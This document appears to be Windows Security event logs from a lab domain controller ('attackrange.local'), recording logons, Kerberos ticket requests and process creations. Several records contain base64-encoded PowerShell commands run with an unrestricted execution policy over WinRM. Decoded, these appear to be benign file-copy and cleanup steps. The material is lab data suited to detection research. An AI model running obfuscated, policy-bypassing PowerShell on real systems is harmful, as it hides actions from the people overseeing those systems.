Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253214
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x280
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAxADgALgA5ADQAMAA5ADAANAAtADgANwA2ADYANwAxADUAMAAxADQAMQA0ADYANQBcAHMAbwB1AHIAYwBlACcACgAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253213
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199313

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253212
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199313
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253211
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253210
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253209
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253208
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1992F3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253207
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1992F3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253206
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1992F3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253205
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253204
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253203
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253202
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x198C48

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253201
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x198566

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253200
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1971F3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253199
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd7c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1048
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC163.tmp" "c:\Users\Administrator\AppData\Local\Temp\nuev5fg2\CSC4328FDA223294D16A8BDBC3CB7BA28B7.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253198
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1048
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1138
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\nuev5fg2\nuev5fg2.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253273
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1380
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12cc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAxADgALgA5ADQAMAA5ADAANAAtADgANwA2ADYANwAxADUAMAAxADQAMQA0ADYANQAiACAALQBGAG8AcgBjAGUAIAAtAFIAZQBjAHUAcgBzAGUAOwAKAEkAZgAgACgALQBuAG8AdAAgACQAPwApACAAewAgAEkAZgAgACgARwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewAgAGUAeABpAHQAIAAkAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAAfQAgAEUAbABzAGUAIAB7ACAAZQB4AGkAdAAgADEAIAB9ACAAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253272
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BC93

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253271
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BC93
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253270
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253269
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253268
Keywords=Audit Success
